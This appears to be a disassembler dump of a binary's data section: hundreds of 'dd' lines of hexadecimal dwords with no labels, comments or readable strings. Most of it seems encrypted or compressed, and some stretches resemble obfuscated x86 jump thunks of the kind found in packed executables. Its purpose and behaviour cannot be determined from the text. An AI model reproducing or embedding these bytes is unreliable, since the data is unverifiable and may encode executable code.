dd 0E2F7E0B3h, 0EDB0F5D4h, 2DECD5EAh, 6F2C152Ah, 0A86A5368h
dd 1BBA9AAFh, 0AB3F9FD5h, 5D0BA5CBh, 350017C7h, 0CB01479Ch
dd 0D1D35970h, 0FCFB2CAh, 1BC03D08h, 0E2B431FCh, 0DBD62AF5h
dd 20B79170h, 0FD4109B5h, 7CB51BA7h, 57F0BBDCh, 5968DB11h
dd 0B9DAE1D3h, 37F85A1h, 0BA830000h, 0D3597086h, 0E2B7AFA8h
dd 0A1E7D4F5h, 0DB079AA7h, 80B9A6ADh, 0BBA4B9DEh, 0D60FFC1Bh
dd 1EFB1304h, 0B29F77E0h, 0AFC3CF6Ch, 0D6CED5E2h, 0FC1FC780h
dd 0FC29A2Fh, 11000008h, 59425740h, 9E879CBBh, 0DFC8DDFAh
dd 1E071C3Bh, 3543587Fh, 55421194h, 97805740h, 0DBFC9982h
dd 1A3DDDC6h, 40862505h, 0CBAB3F0Ah, 0C7C87610h, 0F1130017h
dd 0EB43D67Bh, 43A807Ch, 0AD3590Bh, 4611E203h, 0C35C3951h
dd 7B1ACD8Ah, 0A3C4915Ch, 10F30BD8h, 0DBFC994Eh, 824D4A0Ah
dd 4C994B5h, 9CD580EBh, 410ED9FEh, 0EA944629h, 1C5A9392h
dd 6F5C7DB7h, 5E766136h, 2B793137h, 88DD1BA8h, 593A0C42h
dd 0F30B12D3h, 21D7h, 579ABC00h, 13D81F92h, 1E7356A0h
dd 0B0D17C70h, 0A26CB298h, 95000002h, 70C4FA40h, 0C3CAD359h
dd 86BAC5ABh, 4DD35970h
dd 8B564114h, 7076ACF2h, 757CD359h, 0BF983C54h, 31246A57h
dd 37DB079Ah, 480A4330h, 6F2AFD9Fh, 0AFD09D68h, 0E1F617E4h
dd 663126F8h, 0FAE72F28h, 0AFC417B4h, 1E161DE2h, 0FC1FC652h
dd 176038CDh, 19000007h, 614A5F78h, 0A68FA4B3h, 0E7D0E5F2h
dd 260F2433h, 3D4B6077h, 5D7A198Ch, 9FB85F48h, 0E3F4A18Ah
dd 2235E5CEh, 488E2D0Dh, 0CBAB3E12h, 0C7D07E18h, 0B8350017h
dd 0E204F1E6h, 0CA597F91h, 0B8DF7B48h, 0DDA27F97h, 75AE59C4h
dd 18E5B0A7h, 0AA7D1D00h, 0B2C7E8EFh, 0A898E6ACh, 173B1Bh
dd 0AB390000h, 0ADC7E589h, 883FCF77h, 0FD5F5037h, 49879FC0h
dd 1D9h, 7087BA8Bh, 0ACA9D359h, 49357B68h, 10DB079Ah, 0DB9B13EEh
dd 9DB57754h, 0B0E9D6DDh, 0CFD4E9EEh, 0AD5C296h, 5F52B71h
dd 0F4FBDB08h, 6D8BBD3h, 0F084611h, 0F794DAC7h, 0FDE2B02Fh
dd 2A6CFEF6h, 26BBFC1Fh, 6594Eh, 9DBA5B00h, 0DAFD9F88h
dd 1B3CDCC5h, 5E791D06h, 9ABD6049h, 53527785h, 99829780h
dd 0DBC4D9FEh, 1B04193Eh, 67475C7Bh, 3D4C82C8h, 0B852CBABh
dd 17C70Ah, 41E6B835h, 0BCAAE995h, 5610F572h, 0CC9D6A35h
dd 703D080Fh, 0A6BF844Fh, 8257903Bh, 8F4DCA95h, 0CFF0BD88h
dd 1502D4B7h, 0D0B0FA00h, 7891BA8h, 87000000h, 1246Ch
dd 87BAAE00h, 0A9D35970h, 85D1CFACh, 434BE299h, 0A7E03522h
dd 2E0E4AF4h, 90E12FD6h, 8367576Fh, 89DB079Ah, 0BA5C9582h
dd 4A83889Dh, 1C3BDB8Ch, 98638451h, 9A83B9FFh, 8289DB07h
dd 0B4664961h, 0BD9AD8A3h, 9A11478Dh, 92D8DB07h, 0DB079A5Ch
dd 0A6AD5B62h, 0B5529885h, 0BBE2AFC3h, 0C36CA2E8h, 0ED33E2AFh
dd 0E2AFC3B7h, 108B6BDh, 0C788E8E0h, 7207FC1Fh, 5759Ah
dd 0B1A67700h, 0F6E1B39Ch, 3720F8E1h, 7A9D3922h, 0BED97C65h
dd 772E9BA9h, 0B59EB3A4h, 0F7E0F5E2h, 37203522h, 7B5B7067h
dd 3C6096DCh, 0CC66CBABh, 17C71Eh, 0F1E6B835h, 0A0DCB04h
dd 375015F2h, 0AE9D3DCCh, 59703268h, 103138D3h, 1B900123h
dd 76301558h, 7931375Eh, 0C01BA8B3h, 7, 476CBEh, 0C7AE0000h
dd 0DA130017h, 0AEA96F38h, 0DDF516E3h, 0CC126700h, 0D3597096h
dd 9A7D959Ch, 9DF2DFF8h, 59702157h, 0AE051BD3h, 4659E5CDh
dd 9C799198h, 945F781Fh, 87524517h, 0E3C22D3Eh, 46D5403Bh
dd 2A6E8394h, 36h, 5017C76Ch, 806D8E89h, 0F866305Eh, 0E5FD339Ch
dd 61366F08h, 0C6DEAB76h, 58C29DD6h, 9FF47FD3h, 1EE6567Dh
dd 704E0EEDh, 0D3589D3Ah, 6213940h, 4D4A0C9Bh, 72AB4C38h
dd 3D5A00A7h, 7121041Ch, 98407966h, 3D080FCFh, 0B7844F70h
dd 9384C29Fh, 0DF015643h, 0CD483D80h, 1A502EE5h, 20D35874h
dd 0BC020119h, 0DB069EE0h, 9DF2DFE6h, 9ECC0248h, 0EFAFDB06h
dd 0A2501DE8h, 0FEA0839Bh, 9DBFC4D9h, 99095A41h, 272961E0h
dd 43EBE2F1h, 94835122h, 1E4FCC9h, 3D7B4651h, 0BA0FFCD8h
dd 17844F98h, 7D95E734h, 0B4A0408Dh, 523F46E2h, 495E7919h
dd 0CE99BE60h, 624F8790h, 7C696E29h, 0B4A00036h, 0E7FF06E2h
dd 0D121A2E8h, 5427EA5Ch, 5CD1D80Eh, 0B6D7DEEAh, 4AF5D0BEh
dd 0A27A0FE4h, 3EAh, 172C2BECh, 54696E2Eh, 95AAAD6Bh, 0D4E9EEACh
dd 1A2F28EBh, 35E8BD0Ch, 75240D22h, 0B7644D62h, 0F0A28BA0h
dd 53F2D2E7h, 0AB3BD70Dh, 9543DDCBh, 130017C7h, 4E193EDAh
dd 15FDC781h, 88CD27C5h, 0BE604970h, 8151CE99h, 582334E6h
dd 0DA9F6A8Bh, 17C756C1h, 78BE1300h, 0D3595C42h, 5C8DC309h
dd 8C93D359h, 98BFD7DEh, 0A815D892h, 45211Bh, 61F0000h
dd 92D8C511h, 0DB01BEA5h, 7EB7A4ABh, 98D1BED9h, 92B9D1C6h
dd 1BE649Ch, 22F22BDBh, 0CC9D6A35h, 77440F08h, 0F1DA7C5Fh
dd 1BE75ABh, 87747BDBh, 1BE0B41h, 0E90A11DBh, 292EEBD4h
dd 334865Eh, 6C80000h, 92D8C511h, 0DB019C89h, 52451750h
dd 72A8EE87h, 78DB019Ch, 78385071h, 6929A671h, 544FA36Eh
dd 0A3E93EE9h, 0DB019C6Dh, 0B0546C73h, 0FF18BFA7h, 59466734h
dd 0AFF7E737h, 0EBD85477h, 1E36FA5h, 566E75DBh, 0EC90257h
dd 59713E09h, 0AA0F6069h, 0C30527E2h, 56C58B38h, 474E0E26h
dd 20F42D32h, 0A3C4D387h, 0A66EE78Bh, 116A73B9h, 6970EA52h
dd 0ABE1277Ch, 0B1EA5211h, 38B592AAh, 2CA77265h, 53C4147Fh
dd 0FB419683h, 0EA5211C5h, 524514CBh, 8199BA87h, 3D333C82h
dd 3239F1FAh, 7562341Dh, 6A6D2DAAh, 0BAAAAB55h, 6734FF18h
dd 0B80BF0ADh, 5374E913h, 9EDF2066h, 0DEE5F9A1h, 9E4F8913h
dd 516AF9A1h, 2F703AE6h, 3BC9C210h, 0C7000000h, 0D8C51106h
dd 10DBFC9Fh, 0E62C2B43h, 0DB0176B1h, 7A9D3F78h, 9AD016AFh
dd 0A0DB0176h, 0A0607899h, 0A44CE99h, 25DB0176h, 2E29EF28h
dd 0E490FB16h, 0E3FFFBAEh, 0DB73h, 17C77100h, 0E5B83500h
dd 66879042h, 52355779h, 3CE3DBFDh, 8CA4724h, 72AB440Fh
dd 0B598B0A7h, 0F90C59E5h, 4E40EDD4h, 5207402Dh, 10062D45h
dd 0D358D4C1h, 0B7ED3388h, 0BDD358D4h, 1BBB9EB6h, 10ED0FFCh
dd 2E1AD867h, 533C637Bh, 30C99483h, 991FD10Eh, 0A1B9B558h
dd 0CFBC18FDh, 8D3C496h, 0CBCC8Bh, 0FBFA1233h, 15348B5h
dd 32474EDBh, 5A478F88h, 0AC046414h, 76636AE2h, 64799E3Dh
dd 0C7BFD87Bh, 0FC1B06C5h, 9BA77F14h, 9D000001h, 0DDC6DBFCh
dd 1A03183Fh, 5B44597Eh, 9A8398BFh, 0B9C7DCFBh, 0D1C69510h
dd 1304D3BCh, 574015FEh, 9EB95942h, 0C40AA989h, 0CBAB388Eh
dd 0AB4CFA94h, 70DA1056h, 0D9E0D359h, 2E465108h, 7A8F884Bh
dd 0ED3DC191h, 0BCF8B593h, 37233859h, 0D8C51106h, 1765D92h
dd 6F5C63DBh, 59716636h, 76B8F27Ch, 0BAD3DB01h, 0FBEFA34Fh
dd 0AE32E3FFh, 30000000h, 8C5017C7h, 7001A8F2h, 17385AD7h
dd 935E7F4Ch, 85504716h, 58EEACFBh, 0C8CF8FD3h, 0F08CAB3h
dd 0C5110644h, 28FF9FD8h, 2C446572h, 0FD7AE72Dh, 7980DB00h
dd 795DBA64h, 9285538Ch, 26357B7Ah, 2CE2ABAAh, 0AAE33825h
dd 7D9A3DEAh, 9778A25Ch, 1C04BB40h, 65722104h, 0A3B46750h
dd 1BB7D7ABh, 0A57D12FCh, 0C2h, 0EF0413C4h, 2C415606h
dd 6D829543h, 0ACC1D684h, 0F20710C3h, 1DC0E5E4h, 5DFCE5FAh
dd 9F3C253Ah, 0D87A6378h, 2BCAAABFh, 0AB37AFE5h, 6D1BB5CBh
dd 0EE0314C7h, 0EAEDB0E9h, 8F2FEFD2h, 473EBE76h, 7287A8DCh
dd 0A272AB86h, 25465105h, 0CC978054h, 5204E7FFh, 5DFD7A45h
dd 0AACBCC8Ah, 0AA6AEB95h, 9A2677BDh, 252CDB07h, 1A3DDD5Ah
dd 5D7A1C05h, 1DC0F992h, 4A622FFAh, 0A7E5925Ah, 86BF9E59h
dd 2CF9C4D3h, 0FF8EF914h, 3A23385Fh, 37B47F98h, 2CA97463h
dd 229F6A6Dh, 45996473h, 3100DF4Ah, 0C88A1984h, 1D1BACFh
dd 9072916h, 7195D1F3h, 0B81C3CF6h, 518A4E4h, 33810EDh
dd 7A000000h, 16C73EDCh, 19B93601h, 0E1B633FEh, 0EBAE2BF6h
dd 0F1A421ECh, 0FF9E1BE6h, 0CA900DD8h, 0D38502CDh, 0D87CF9C4h
dd 513CF4BFh, 0BA52E189h, 4, 835AD101h, 0C8704E9h, 14685C24h
dd 89000054h, 8956242Ch, 4C681E6h, 83000000h, 348704EEh
dd 0C895C24h, 0BE565124h, 73E05262h, 0DEF7D6F7h, 0DE3EEE81h
dd 0F18940C3h, 0C1D9F75Eh, 0E9C105E1h, 0C1814107h, 6754808h
dd 6859CD89h, 6F02h, 83242489h, 59042404h, 4B5A68h, 242C8900h
dd 2D240481h, 8F5FBA0Fh, 69810841h, 0BA0F2D08h, 2434FF5Fh
dd 4C48159h
dd 8B000000h, 8956242Ch, 4C681E6h, 83000000h, 348704C6h
dd 2CE95C24h, 0F6FFFA45h, 83468421h, 21F04046h, 2948013Eh
dd 0AE39EAB8h, 0FFC50307h, 0C1E55E0h, 0ABD1C931h, 0D38E7A33h
dd 9575121Fh, 63F2DD70h, 9471C131h, 56FB2701h, 53327C53h
dd 767E5362h, 82540667h, 0A4820964h, 33378316h, 0A91733Dh
dd 5979CB78h, 0B8239956h, 6492F665h, 0EFF9A252h, 2915CA21h
dd 0C3297E73h, 919F6C31h, 6BBE434Ah, 752E0C6Eh, 0A0A67B32h
dd 0FC0BC160h, 5389554Eh, 0E4322A6Fh, 462154Dh, 0D284DC1Dh
dd 0C99D43Fh, 17E971h, 5810000h, 5B18h, 4 dup(0)
dd 557E900h, 0C5960000h, 0D4BDD2h, 7F190217h, 0BC5A4358h
dd 0FE9D869Bh, 13B6C4D9h, 0BFD4C392h, 0FF1403D6h, 41564116h
dd 7C918658h, 81B7FD9Ch, 87CBAB35h, 17C73FEDh, 78BE1300h
dd 0D3597042h, 0B7657225h, 22BB98B0h, 0A31DF200h, 732DE7F0h
dd 0D9BCD468h, 0AEA96D3Ah, 1E73788Dh, 58F7A2D8h, 0E7A1A8D3h
dd 0A812AE4Ah, 0EF1096Bh, 3804B4Ch, 0FC794453h, 30523F58h
dd 3B8688BEh, 0A7849C37h, 9E696E2Ah, 97627521h, 0F3D23D4Eh
dd 0AE4A6C4Bh, 4516766Eh, 0D9445F77h, 7A8F884Ah, 0BED3C491h
dd 0E81E64B9h, 0EED358D3h, 930DCB4Eh, 5172AE11h, 0F0BBDC80h
dd 73280B23h, 7D1C9964h, 67148F5Ah, 0AFA86DFCh, 0CDCA89C2h
dd 0F61D3502h, 7F4A4D0Dh, 593CBCF5h, 94FF96D3h, 0A835A2E8h
dd 7C771Bh, 0C7750000h, 9C350017h, 70CB0147h, 0CAD1D359h
dd 708AC2B2h, 0A86DD359h, 0B367E4AFh, 0FB14D9A4h, 40D7B190h
dd 26F12AD5h, 51191931h, 0C51BA801h, 2CDCA8Ch, 1011D35h
dd 0FF000000h, 370215C7h, 32FD1ABAh, 0C05DE1B5h, 0B78988CFh
dd 81FEC9EAh, 534411D6h, 2EEA6732h, 36E35E29h, 4944ECCBh
dd 8A8D4FDEh, 0F0B7649Dh, 3F0A2B2Ch, 2E335A72h, 465D93D9h
dd 5C63D359h, 0A6B16144h, 14C7A591h, 0C0918653h, 11DCFD1Ah
dd 0EAD7C094h, 70194F95h, 681FD359h, 6981A2B5h, 43AEC78Ch
dd 6C5DE1B4h, 5DA934D7h, 0C3FCE90Ah, 6C390413h, 0EC03397Fh
dd 209D358h, 38DAC3EAh, 1D7541Fh, 0ED064B16h, 7BECD682h
dd 98551BA7h, 53000000h, 6B6A14C7h, 0BF9E3354h, 9613DEFFh
dd 0B60AD5C2h, 0DDFA9ED7h, 0D7C09512h, 61E3F0Ch, 22F180EBh
dd 64372035h, 6F2BA873h, 0E7597B68h, 0DB2FAF30h, 1E9B7890h
dd 13905B7Ch, 0C68B5641h, 519742ADh, 0D3596A1Bh, 60F91A21h
dd 0F831DC47h, 9B683324h, 0F9BF8383h, 64021BA7h, 0E7000000h
dd 0AD1BE5C5h, 0D4ECD48Bh, 314C7EEh, 0F91EBB38h, 0F4E3B12Eh
dd 55E9AC29h, 3AE3DA1Bh, 0AF7A9B06h, 0BEA5566h, 63F25D6Eh
dd 8D92A7B0h, 35E78054h, 5A470122h, 9CC022D0h, 0C7230921h
dd 0AD370215h, 0D3597074h, 0A04CB74Eh, 1BA801EAh, 5740134Ch
dd 8BA7BF8Ch, 0Bh, 9FD51B70h, 0A5D35964h, 0C7A0869Eh, 0BE3B0611h
dd 0D50EFB1Ch, 7F4C1700h, 7E0F8A67h, 6E869145h, 1B3DE853h
dd 4F8BECC3h, 0B598B0D3h, 35DFF4E3h, 0B207F420h, 0A2BADD79h
dd 176D1B2h, 0FD4398DBh, 0DB0176C7h, 0EEAEC6CDh, 2E831CE7h
dd 653027F5h, 7684BA98h, 838ADB01h, 11D6886Bh, 0BC895443h
dd 0A575AE9Bh, 6E739AB2h, 9933D14Ch, 4F0946A8h, 2C53698Bh
dd 92758D45h, 0B1EAD7C0h, 5E2BF6E1h, 0AED06946h, 11F9D731h
dd 0F3A172D9h, 0A4DCCCE4h, 0BBDB0267h, 0EEB03FAAh, 2BEBD4E9h
dd 8FC8612Ch, 3603CEC9h, 7C9B3B1Eh, 68D3ECB1h, 311E39D9h
dd 676096DCh, 5F66DB02h, 501A2047h, 0A9E3FF08h, 125h, 0C51106A7h
dd 9D9D92D8h, 9CA3DB01h, 958254D1h, 0D0C79780h, 504A6C05h
dd 0F6F6187Fh, 0BA5C3F57h, 0A277B09Dh, 51DEAB5h, 0DF4A6328h
dd 74898E50h, 7661366Fh, 0EA145E5Eh, 45EDE3FFh, 0EB000000h
dd 0D4C11506h, 5970388Eh, 13C6FF53h, 84BA4A04h, 22AEC182h
dd 0C1934A0Ah, 60EAB5D6h, 53593D2Ah, 0C3137EF3h, 4B917E56h
dd 0D3593CF5h, 9BDFF4FBh, 0B1h, 2C98BC4h, 593D86BCh, 64858CD3h
dd 0CEB4CC99h, 0DA1056ABh, 0E0D35970h, 381DC1D9h, 54A9EFDCh
dd 1BDB018Ch, 1F6657F9h, 0ACF27B5Dh, 0DB020A76h, 3C54757Ch
dd 2DAA757Ch, 6C556A6Dh, 58E2ADAAh, 0DB020B1Dh, 29B82334h
dd 0AF596E69h, 5F816EA6h, 0C78ED6C6h, 11102815h, 0AFDFA6CBh
dd 0B8A5ACE2h, 0DFE71D63h, 4DEDE2AFh, 7A712CA9h, 0A2BADB76h
dd 20F32CC5h, 879F6C37h, 1AE5F2A4h, 0F5EC0E9Fh, 1515BDD9h
dd 0D8435E76h, 357B8F88h, 0E2AFA2FFh, 0F0DDFE05h, 5DDE85AAh
dd 0D48BEAh, 792CB17Eh, 153630D5h, 85DADFF4h, 5DBF093Fh
dd 0F0080FEAh, 1056AB0Ah, 0D35970DAh, 2FFA1DBDh, 95ADB462h
dd 0C3B064F1h, 7AB587Dh, 6A575EDBh, 85D8BD48h, 0BC681DA0h
dd 0EE631D26h, 5A374F22h, 51A3DDDh, 710C700h, 0F81FBF3Ch
dd 273F602Dh, 5D59244h, 8D7A4712h, 7B11147h, 0EF1017DBh
dd 0F6D09A24h, 0E1DC37BDh, 5437E776h, 0BDF6D80Eh, 0EAD7DE37h
dd 0BDF66EA4h, 4C6D7437h, 8B8C4E37h, 809743C0h, 228D3AB5h
dd 0BFD4C393h, 481304D6h, 370h, 3EDCB200h, 360116C7h, 33FE19B9h
dd 2BF6E1B6h, 21ECEBAEh, 1BE6F1A4h, 0DD8FF9Eh, 2CDCA90h
dd 0F9C4D385h, 0F4BFD87Ch, 5A88683Ch, 2C890000h, 3E2A6824h
dd 2C890000h, 33276824h, 14890000h, 3B316824h, 2C8B07AEh
dd 4C48124h, 54000000h, 8324148Bh, 0B85004C4h, 8, 8155D001h
dd 4CB3242Ch, 8F69E5h, 4CB30081h, 8B5869E5h, 89512414h
dd 4C181E1h, 81000000h, 4C1h, 240C8700h, 2434FF5Ch, 4C4835Dh
dd 0FA3F2EE9h, 3FD063FFh, 401CB8EAh, 0C50307AEh, 0B6BEE0FFh
dd 0BF0C3126h, 0B964629Ah, 59BC1755h, 2BC66BFBh, 71BA7AF3h
dd 0D7F04484h, 0D2DB09BAh, 749E24ACh, 6D3E0776h, 53604A8Bh
dd 0AEF70B28h, 1BA5763Fh, 272F2BFAh, 0A9CF7CC3h, 0EDAB72C2h
dd 3369161Eh, 0FDB37A2h, 0BE15B9Ah, 566A3BCBh, 0E7D04E2Ah
dd 359C60AFh, 73FE1788h, 6F1C2CAAh, 8D8D69B6h, 7AE416Ch
dd 5C65C0B8h, 0B5BD8947h, 8907A81Ah, 0A817318Dh, 50006A07h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 1CFD288Ah, 9E94D6Ah, 0A9000000h, 0E018BD67h, 66A36B90h
dd 0A5985C7h, 62F007A8h, 0BF0F0000h, 0B5D781FAh, 0C702A5ACh
dd 0A8093985h, 7, 55B5FF00h, 0F807A800h, 1A9995FFh, 0DE8B07A8h
dd 6AD98Ah, 0D2195FFh, 0C08B07A8h, 71B66CEBh, 311A5BABh
dd 547F0BFFh, 273C141Bh, 0B600B4F1h, 0FF18A2ACh, 1651828h
dd 263D8725h, 6E003C1Fh, 0C1568840h, 8F60FEAh, 0DBD695EDh
dd 57ADA74h, 8CDD9FB6h, 0ED17021Fh, 65D3AA5Ah, 0B04454AAh
dd 3DAE4EDAh, 0EE194587h, 0EC2813ADh, 29622717h, 52A6F8B4h
dd 5D62D3B9h, 212AF900h, 77D21670h, 78195D6h, 90C7532Bh
dd 7FE9A328h, 1A000001h, 2717C05Ch, 0D31AD52Ch, 0D746B198h
dd 0EFB4CAD1h, 0E45B7E41h, 6D5D9752h, 44FCA3FBh, 0A59EB992h
dd 95BCD792h, 93B9E4h, 0F49DB2CBh, 0FC9CACA3h, 0D2009EB9h
dd 73AFC945h, 55FC00EEh, 599CBA97h, 0B2A4E56Dh, 47FEACFFh
dd 0C45657F6h, 0F600CCD4h, 0F78F7DB5h, 97539549h, 45C9BCFAh
dd 0A1915CCDh, 0ACE56Ch, 100h, 43h dup(0)
dd 0A26D8497h, 0EE69F033h, 70E90000h, 6800000Fh, 7AE4576h
dd 0FB066CE9h, 465C68FFh, 62E907AEh, 68FFFB06h, 7AE47BBh
dd 0FB0658E9h, 48A068FFh, 4EE907AEh, 68FFFB06h, 7AE49D0h
dd 0FB0644E9h, 4AA068FFh, 3AE907AEh, 68FFFB06h, 7AE4B54h
dd 0FB0630E9h, 4BCD68FFh, 26E907AEh, 68FFFB06h, 7AE4CC2h
dd 0FB061CE9h, 4D2C68FFh, 12E907AEh, 68FFFB06h, 7AE4DD1h
dd 0FB0608E9h, 4E5F68FFh, 0FEE907AEh, 68FFFB05h, 7AE4EF8h
dd 0FB05F4E9h, 503A68FFh, 0EAE907AEh, 68FFFB05h, 7AE5113h
dd 0FB05E0E9h, 10EED9FFh, 0EA3CAE01h, 0C65088DBh, 9D6764B7h
dd 738F3B8Eh, 7FC02364h, 55A8B743h, 2D808F67h, 65968BEh
dd 0F83443D5h, 84F4AE17h, 1BB67A13h, 4CBB0A24h, 8CFC2F58h
dd 87A1586Bh, 8C4051A0h, 0BCB8887Ah, 0E708F1ABh, 3F507B8h
dd 0A4B34576h, 0CBF8B3EDh, 0DBA3562h, 98014C7Ah, 6ABD6A0Ah
dd 0AFFF20A0h, 405E3D2Fh, 836ABD6Ah, 42CFC14Dh, 0F802BF8Ah
dd 0C466CABCh, 6F899DF6h, 1026565Bh, 6332E6D0h, 0EB000000h
dd 47742F71h, 20F6E5FCh, 0BC3D5E2Eh, 7A0D48E7h, 0A4FE67B2h
dd 66ABD3Ch, 0B2F05986h, 0F86ABD3Ch, 87075778h, 0FCA60F5Ah
dd 0AE6ABD3Bh, 24E50D2Eh, 5547DF0Dh, 0BBE36485h, 0ED6ABD3Ch
dd 0A4BBC7D3h, 5EA8242Bh, 6E609C6Ch, 0DE1AE4E1h, 422959BDh
dd 0C40FE6D0h, 0BD48475Bh, 0C2E3636Ah, 0CB85h, 87A13E00h
dd 7169F6C7h, 79FAA9A5h, 0D6073657h, 0D2065787h, 9FCC0844h
dd 9FC05A88h, 22FCEA77h, 0E02AA330h, 9E6861EEh, 2786EA8Fh
dd 0E8E17266h, 71880F1Eh, 5E8DAE78h, 236E9B6Dh, 661DE8BAh
dd 4642C272h, 0F26366C4h, 62E4F89h, 68638B15h, 0CC35629Eh
dd 7A0E2857h, 0FC6D555h, 0A2ED1A91h, 0D2C45E8Bh, 6160E102h
dd 8772688Dh, 448FDA07h, 132DC7DBh, 972E363h, 63132D99h
dd 34559111h, 2E3DD905h, 0FD13EFDBh, 2DB5ECFDh, 8FEFCA62h
dd 5F00000Ch, 34879660h, 0E6170BAh, 0EA3D4CDAh, 0C11423FDh
dd 0A9EAF905h, 41DD093Ah, 19EDDF32h, 0F204B70Ah, 0CD5F90E3h
dd 38A182BEh, 7A13876Ah, 0D5FEA540h, 0ABFE0DE9h, 0A2D9E832h
dd 47742F71h, 22F4E5FCh, 0BE3F6030h, 7A0D48E5h, 765547C7h
dd 6ABD3C28h, 0F3EC0380h, 46673729h, 172E7446h, 0CF3354A6h
dd 0E6D0429Fh, 0B5ABh, 0E4D56400h, 57932012h, 76FAD9CBh
dd 0F1726547h, 981F2EF8h, 3DBEE44Dh, 6CEC7265h, 59A31C4Bh
dd 7F2A7667h, 0FDF00752h, 3C69392Bh, 653DCFD3h, 3A5BDB72h
dd 0D636AB9h, 0B3C2427Ah, 0D0FDA4FCh, 18861C85h, 0A4246ABDh
dd 0BBD52083h, 1302C163h, 0F13DB33Fh, 9D1394B5h, 297266FAh
dd 79657CA9h, 0DC18E2E0h, 931795AFh, 0EDEA9BEh, 6955A8EDh
dd 0FC71778Dh, 3AD22DB4h, 0BA95Fh, 0B04E7900h, 8A9C4EA1h
dd 66B0287Bh, 3DC70457h, 13EFDB2Eh, 1F20C304h, 0F54857A3h
dd 0CD202FC7h, 0A6F9081Eh, 98D4E335h, 88544EB7h, 0BB567A13h
dd 0DE9D514h, 0E832ABFEh, 87A1A2D9h, 0C3AE9B0Fh, 92FB28DBh
dd 72662810h, 0CAF91A9Ah, 88150711h, 0FFB6C557h, 74DD0AA1h
dd 7A0E2ECFh, 0B5A5BF0Ah, 0C28F540Fh, 58F9A9F4h, 31B16ABDh
dd 51728438h, 0B08F8101h, 6ABD58EEh, 870AA0BAh, 0E6D02557h
dd 3F63h, 2F711C00h, 0DDE4774h, 2F7A0D6Ch, 0C0DEBDAFh
dd 0E86ABD19h, 85B5FCCEh, 91E6D061h, 20h, 742F714Ah, 59CDDE47h
dd 6FEF7A0Dh, 2B009E7Dh, 8EA86ABDh, 5345753Ch, 0C51E6D0h
dd 0A000000h, 80487h, 61597000h, 71617495h, 0DE47742Fh
dd 7A138617h, 43CEFC39h, 0B6FFC8DAh, 2662E26Ah, 0FB286434h
dd 0F421EBE4h, 0C029ECDDh, 6AB6FFE2h, 0EB0C48C8h, 909A53A6h
dd 97984963h, 2EEAC735h, 0ACF4E50Dh, 3FB1C8F5h, 26BCEEFh
dd 72657382h, 283F6CECh, 0F23A4B6h, 9BEA34C0h, 0C4DB3E5Fh
dd 9FF2010Bh, 29EADC2Eh, 212D75DEh, 0FD7D6309h, 4C5749DCh
dd 52A1B61Fh, 46606AB1h, 0BC46EDA1h, 986E5E55h, 0AEEB3B5Ch
dd 29F9EB3Dh, 2F6BBD30h, 0E3EBCD19h, 0F7D26A35h, 0A4Ah
dd 4251AF1Ah, 1C2BFFEFh, 0F80717C9h, 0CFDE38A5h, 0A5B44E7Ch
dd 0BE7F64h, 5894E7F6h, 716CBFCEh, 944598A7h, 56377382h
dd 1389B5EDh, 0B35AF57Ah, 65431B83h, 455C4472h, 8336AF18h
dd 0BDFA7A13h, 0ABBAF600h, 8538ACF4h, 75B18173h, 0EBE22E48h
dd 0DEF77F89h, 0FCF15ABDh, 317264E6h, 6254A21Ah, 0A1217192h
dd 0E2C02974h, 0C8630862h, 0ADC42748h, 88DBEA3Ch, 8198C557h
dd 0F8C8BA44h, 0D4EEAFD7h, 0AC468EA1h, 57EA0B97h, 0EA356249h
dd 8EC2181h, 0E8098963h, 2E701C85h, 8E0E6AB7h, 0CCFF1661h
dd 0F1EA193Ah, 14C51827h, 0CBED502h, 173808FAh, 4C142EEFh
dd 8D85EB17h, 564ACBECh, 0DDB5B0Eh, 82EB1893h, 0E3033F2Dh
dd 0AA7C6D84h, 77C7E8B8h, 7D76803Ah, 0F9C9BB4Bh, 9C0DA7BDh
dd 56EEBC55h, 9657Bh, 6C8A3500h, 46D00A5Dh, 22ECE437h
dd 0F903C013h, 0CF2B97EAh, 0DB647FC0h, 0B10413EFh, 89DCEB3Bh
dd 62B5C452h, 54909F69h, 8A980A73h, 77127A13h, 528AA1D0h
dd 0A811D2C4h, 726541FAh, 0D3F430B0h, 5E8C6040h, 0A811D2C4h
dd 726541FAh, 0B8F430B0h, 84C3228Bh, 2D6D7A13h, 258ED81Ah
dd 6AB7347Dh, 0A6B1AD2Dh, 0A2CF0BECh, 9BC8528Bh, 0CEC04A84h
dd 4598DDFEh, 0A558294h, 0B6AF01A1h, 829A96Ah, 0FAB1EFE0h
dd 0F18D64CDh, 3BBB7264h, 28E8F40Eh, 731A168Fh, 0E7D8EF52h
dd 3AB30615h, 930DFEF0h, 1AD4EB18h, 0D8F73350h, 0D410D2ABh
dd 0F718E2DBh, 8B892B94h, 1B326AB6h, 966658A2h, 78A52575h
dd 8F9E6861h, 4C79833Ch, 58B1BB32h, 219C23FFh, 0E58A86CDh
dd 1294AA9h, 59727C22h, 0E6BDE35Bh, 0DE28A2B9h, 0B8F15ABDh
dd 6307B4h, 833C5380h, 30831F88h, 0A72753ABh, 0D0095C6Bh
dd 3D635446h, 1DD03966h, 105B5973h, 0DCAE3FF6h, 0C8C4C55Fh
dd 636BDAC4h, 51A1C2E6h, 0B2EEDFD1h, 0A261CAF7h, 0CA53A4C2h
dd 429E344Ah, 0D9710CF7h, 835FEh, 3CDA0500h, 16E0DA2Dh
dd 0F23CB407h, 0C95390E3h, 9F7B67BAh, 0AB944F90h, 81D4E33Fh
dd 59ACBB4Bh, 32859462h, 24606FB9h, 8BC8DA43h, 47E27A13h
dd 12E4D5A0h, 0D05A9320h, 0B4CB24DEh, 0CECEEF39h, 299FB6FCh
dd 5C8DBCDDh, 1D34BBCAh, 0D5395AACh, 0DF283CA5h, 7B1h
dd 61876A00h, 0C0000004h, 0B95FC06h, 0AD0A73A0h, 277A0D48h
dd 94159CB6h, 0DD9176B2h, 0BD021092h, 0DE1A9A6Ah, 0D3866E8Bh
dd 9BB53DC8h, 0CF8F21F2h, 7A0D2EB4h, 374E7B26h, 0EF39B485h
dd 0FFF12DFDh, 42AB0E2Fh, 9F58E43Dh, 0C4B5A727h, 2F98C5DCh
dd 97B44289h, 89A0CD4Dh, 1DCDC650h, 6E85E809h, 0F62CEB7Dh
dd 684709C9h, 11CA1D2Ch, 8C43F107h, 8C24C8E0h, 765B1h
dd 6C8A3500h, 46D00A5Dh, 22ECE437h, 0F903C013h, 0CF2B97EAh
dd 0DB647FC0h, 0B10413EFh, 89DCEB3Bh, 62B5C452h, 54909F69h
